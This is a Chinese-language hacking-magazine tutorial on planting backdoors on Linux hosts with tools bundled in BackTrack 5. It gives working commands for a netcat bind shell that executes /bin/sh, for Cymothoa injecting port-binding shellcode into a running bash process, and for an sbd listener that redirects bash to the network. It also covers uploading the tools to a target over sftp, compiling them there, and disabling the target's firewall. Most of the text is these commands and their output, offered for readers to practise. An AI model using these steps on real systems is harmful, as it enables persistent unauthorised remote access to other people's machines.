Linux后门应用

Table of Contents

本文已发于《黑客X档案》2012.2、3合刊

1 前言

想必大家已经熟悉了在Windows下使用各种后门了,从早期的灰鸽子开始,国内层出不穷的后门木马就不断地涌现。但是基于Linux平台的后门,想必各位读者还是有大一部分人没有接触过。Linux平台也不乏许多优秀的后门,本文将用著名的Backtrack 5中自带的三个后门来进行讲解,希望开阔大家的视野。

2 瑞士军刀——NC

其实NC并不是一个后门程序,NC原本是用来网络方面的,但是它却天生具备后门功能,于是更是被广泛用在了后门上,并且也编译出了Windows平台上的。对于NC相信各位读者毫不陌生。不过在一般的Linux发行版中,后门功能是被删除了的,但是作为专用于渗透测试的Backtrack 5,其自带的nc是具有后门功能的。

Backtrack 5中的后门程序全部存储在“Applications->BackTrack->Maintaining Access->OS Backdoors“菜单中的。但是nc不在其中,倘若我们想找到nc的位置,可以在终端键入以下命令:

root@bt:~# whereis nc
nc: /bin/nc /bin/nc.traditional /usr/share/man/man1/nc.1.gz
root@bt:~#

根据命令的执行结果,得知nc的可执行文件存储在/bin目录下的。如果我们要在别的Linux主机上用nc当后门,一定要记得将Backtrack 5中/bin目录下的nc上传到对方主机,因为之前说过了,很多发行版的nc不具备一些特殊功能。

nc同样也可以用于Windows平台上,并且Backtrack 5中也带有Windows版本的nc。不仅是nc,Backtrack 5也内置了一些在Windows上使用的工具,它们都位于/pentest/windows-binaries/目录下:

root@bt:~# ls /pentest/windows-binaries/
databases  misc           pstools   sniffers

kartoffel  passwd-attack  scanners  tools

root@bt:~#

从返回结果来看,windows-binaries 目录下还有多个子目录。其他目录中的工具大家可以暂时先自己研究下,我们需要的nc位于tools目录下,名为nc.exe。

在这里,我演示一下nc作为后门的用法。我的目标机是一台CentOS 5.6。

我们先把Backtrack 5中的nc上传到CentOS中,可以通过上传到web空间后,在目标机wget的方式下载;也可以用sftp,sftp也是我爱用的方法。以下是执行过程,请读者注意加粗并标记编号部分:

root@bt:~# ping 192.168.1.3                         (1)
PING 192.168.1.3 (192.168.1.3) 56(84) bytes of data.

64 bytes from 192.168.1.3: icmp_seq=1 ttl=64 time=3.83 ms

64 bytes from 192.168.1.3: icmp_seq=2 ttl=64 time=0.531 ms

^C

--- 192.168.1.3 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1001ms

rtt min/avg/max/mdev = 0.531/2.181/3.831/1.650 ms

root@bt:~# sftp 192.168.1.3                         (2)

Connecting to 192.168.1.3...

The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established.

RSA key fingerprint is fe:de:95:c0:2e:d2:11:34:c9:25:8f:64:bf:a3:11:74.

Are you sure you want to continue connecting (yes/no)? Yes

Warning: Permanently added '192.168.1.3' (RSA) to the list of known hosts.

root@192.168.1.3's password:

sftp> ls                                     (3)

a.tar                    adore-ng                 adore-ng.tar

anaconda-ks.cfg          ddrk                     ddrk.tgz

enyelkm-1.3              enyelkm-1.3.tar.gz       install.log

install.log.syslog       lx                       test

wnps-0.26                wnps.tgz

sftp> put /bin/nc ~/nc                           (4)

Uploading /bin/nc to /root/~/nc

Couldn't get handle: No such file or directory

sftp> put /bin/nc nc

Uploading /bin/nc to /root/nc

/bin/nc                                    100%   22KB  21.6KB/s   00:00

sftp> ls                                     (5)

a.tar                    adore-ng                 adore-ng.tar

anaconda-ks.cfg          ddrk                     ddrk.tgz

enyelkm-1.3              enyelkm-1.3.tar.gz       install.log

install.log.syslog       lx                       nc

test                     wnps-0.26                wnps.tgz

sftp>

在上方过程(1)中,我首先ping了一下目标机是否通畅,IP地址是192.168.1.3;接着在(2)中,我用sftp登录到目标机,输入一次yes,接着键入登录密码(默认是root的,只是演示用);(3)中我首先用ls命令看了下目标机home中的文件;(4)中通过put命令上传本地/bin/nc到远程目录,接着在(5)中再次用ls命令,可以看到nc成功上传了。

接着我们来看下nc的用法,各位玩Linux的工具一定要多利用帮助啊,键入nc -h,多余的文字我就删除了,只留下最主要的:

connect to somewhere:   nc [-options] hostname port[s] [ports] ...

listen for inbound: nc -l -p port [-options] [hostname] [port]

options:

    -c shell commands   as -e'; use /bin/sh to exec [dangerous!!]

    ...

    -l          listen mode, for inbound connects

    ...

    -p port         local port number

我们注意“listen for inbound”这行,这行提示我们应该如何监听端口,既然在目标上,我们首先应该监听端口,然后再在咱们的Backtrack 5中连接到这个端口。-l参数表示监听,-p表示指定一个监听端口,-c是最有意思的功能,它可以让我们远程执行shell命令。咱们在目标机器上试下:

[root@lx ~]# ./nc -l -p 8899 -c /bin/sh

接着在本地Backtrack5中连接,使用格式是nc 目标IP 端口号:

root@bt:~# nc 192.168.1.3 8899

之后提示(UNKNOWN) [192.168.1.3] 8899 (?) : No route to host。遇到这种问题我们不要纳闷,是CentOS防火墙问题,在CentOS里执行setup命令,找到“Firewall configuration,把“Security Level”改成“Disabled”就没问题了。再次连接,只见什么也没返回,却有光标闪烁,这证明已经成功了,不信打个ls命令试下?

3 Cymothoa

Cymothoa 是名副其实的后门了,不像nc只是一个带有后门功能的网络管理工具了。国内介绍它的文章暂时还没怎么发现,但经过笔者使用,确实是一个强悍无比的后门,就纳闷怎么没多少人介绍呢。

通过刚才我介绍的后门存放位置找到它,直接运行,它自动在终端里执行了,并且显示了帮助说明。但是,种植到目标机器的时候,我们还需要先编译这个后门,因为直接传过去的可执行文件并不一定能够运行成功啊,为了保险,我就从编译开始。有兴趣的还可以阅读下它的源码。

通过菜单运行cymothoa,我们已经处于它所在目录下了,通过ls命令,可以看到很多.c和.h为后缀的文件,这些是它的源文件(如图1):

1.jpg

整个过程是:将源文件打包成压缩文件后上传到目标机,然后解压,最后编译并运行。

压缩过程如下:

root@bt:/pentest/backdoors/cymothoa# cd ..              (1)

root@bt:/pentest/backdoors# tar -cf cymothoa.tar cymothoa/      (2)

root@bt:/pentest/backdoors# ls                      (3)

3proxy  cymothoa  cymothoa.tar  dns2tcp  iodine  ptunnel  web

root@bt:/pentest/backdoors#

在(1)中,我们切换到上一级目录,然后在(2)中执行tar命令,通过加参数cf进行文件夹打包,cymothoa.tar是打包后的压缩包名,cymothoa则是将要参与打包的目录。打包后通过(3)中的ls命令,可以看到压缩文件的存在了。最后通过前面讲的sftp的方法将其上传到目标机。

在centOS中执行如下:

[root@lx ~]# tar xf  cymothoa.tar                       (1)

[root@lx ~]# cd  cymothoa                           (2)

[root@lx ~]# make                               (3)

cc cymothoa.c -o cymothoa -Dlinux_x86

[root@lx ~]#

在(1)中,我们通过tar跟xf参数解压上传过来的压缩包,(2)中进入解压后的目录,通过(3)中的make命令编译cymothoa ,之后就可以在目录下看到一个名为“cymothoa“的可执行文件了。

既然成功编译,接下来我们就应该将编译后的可执行文件拷贝到单独的一个目录,这个过程由聪明的读者随意解决吧。

在正式使用之前,我先简单介绍下它的原理,它通过向指定进程(bash进程)注入特定功能的shellcode代码,一般我都是用的绑定一个端口的shellcode,本文演示也依旧使用这个,因为其复杂性,我特地将以前录的视频教程附在光盘中,读者有兴趣可以去看看。我们依旧看下帮助:

root@bt:/pentest/backdoors/cymothoa# ./cymothoa -h

Usage:

cymothoa -p <pid> -s <shellcode_number> [options]
Main options:

-p  process pid                             (1)
-s  shellcode number                            (2)
-l  memory region name for shellcode injection (default /lib/ld)
see /proc/pid/maps...
-h  print this help screen
-S  list available shellcodes                       (3)

Payload personalization options:

-x  set the IP

-y  set the port number

-r  set the port number 2

-z  set the username (3 bytes)

-o  set the password (8 bytes)

-i  set the interpreter (def /bin/bash)

-c  set the script code (from cmd line)

-F  do not fork parent process

root@bt:/pentest/backdoors/cymothoa# ./cymothoa -S              (4)
0 - bind /bin/sh to the provided port (requires -y)
....其余shellcode省略

其中(1)为指定一个进程id,一般来说都会选择bash的进程。执行ps -s(如图2):

2.jpg

我们注意图2中最后一行最后的文字是“-bash”,其PID为2358,我们就选定它。在注入到bash进程之前,我们得看下有哪些可用的shellcode,(2)中-s参数后面跟shellcode的编号,编号通过(3)中跟-S(大写S)参数获得,执行如(4),返回的列表中有不少可选的shellcode,为了节约版面,我就只贴出了编号为0的,读者可以自己尝试其他的。

在centOS上,我们执行,其中-y跟自定义端口号:

[root@lx cymothoa]# ./cymothoa -p 2358 -s 0 -y 4444

执行结果输出如图3:

3.jpg

看到“infected!!!”(被感染)字样则证明成功了。接着在Backtrack 5中用nc连接:

root@bt:~ # nc 192.168.1.3 4444

接着依然是一个光标闪烁,但是可以执行系统命令了。

4 跨平台的SBD

sbd是本文中介绍的最后一个后门程序,它也是跨平台的,其Windows中的二进制文件存放在 /pentest/windows-binaries/tools中的,Linux版的文件位置可以通过whereis命令查看,就不重复演示了。

sbd跟nc的差不多,但是更高级一点,这里我只演示基础的,同样请大家先看帮助,玩Linux程序,最重要的就是要学会看帮助啊。其实它的基本参数跟nc的差不多,依旧是通过I/O重定向,然后绑定端口,等待连接。这里我简单说下所谓的I/O重定向:

系统有所谓的标准输入和输出,比如Linux执行命令后,返回在终端上的那些文字就是标准输出,通过键盘键入命令,我们叫它标准输入,I/O重定向就是听过将它的输出位置和接受输入的方法改变,也就是说,我们在sbd后门中,我们将输出结果通过网络传送给控制者,将控制者远程输入的命令作为程序的输入。

在centOS上,执行以下命令监听端口,并改变bash的输入输出:

[root@lx ~]# ./sbd -l -p 1234 -e bash

其中-l参数表示监听;-p指定一个监听端口;-e表示将bash的输入输出重定向,如果是Windows平台,可以换成cmd.exe

在Backtrack 5 下连接:

root@bt:~# sbd 192.168.1.3 1234

注意,是使用sbd连接,不是nc。

5 结尾

为了普及大家Linux平台的安全技术,本文介绍了3个后门的基本用法,希望大家多揣摩揣摩,它们都还有很强大的功能,如有机会,单独撰文为大家讲述。